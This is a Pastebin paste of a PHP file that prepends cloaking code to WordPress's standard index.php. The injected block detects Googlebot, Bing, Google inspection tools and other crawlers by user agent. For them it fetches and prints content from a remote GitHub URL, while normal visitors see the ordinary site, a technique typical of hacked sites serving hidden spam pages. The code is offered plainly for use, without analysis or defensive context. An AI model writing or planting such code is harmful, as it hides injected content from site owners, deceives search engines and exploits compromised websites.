Advertisement
eza168

Untitled

Sep 7th, 2024
1,140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.95 KB | None | 0 0
  1. <?php
  2. function is_bot() {
  3. $user_agent = $_SERVER['HTTP_USER_AGENT'];
  4. $bots = array('Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'AhrefsBot');
  5.  
  6. foreach ($bots as $bot) {
  7. if (stripos($user_agent, $bot) !== false) {
  8. return true;
  9. }
  10. }
  11.  
  12. return false;
  13. }
  14.  
  15. if (is_bot()) {
  16. $message = file_get_contents('https://raw.githubusercontent.com/Eza168/kerala/main/index'); //
  17. echo $message;
  18. exit; // Atau bisa menggunakan die();
  19. }
  20. ?>
  21.  
  22.  
  23. <?php
  24. /**
  25. * Front to the WordPress application. This file doesn't do anything, but loads
  26. * wp-blog-header.php which does and tells WordPress to load the theme.
  27. *
  28. * @package WordPress
  29. */
  30.  
  31. /**
  32. * Tells WordPress to load the WordPress theme and output it.
  33. *
  34. * @var bool
  35. */
  36. define( 'WP_USE_THEMES', true );
  37.  
  38. /** Loads the WordPress Environment and Template */
  39. require __DIR__ . '/wp-blog-header.php';
  40. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement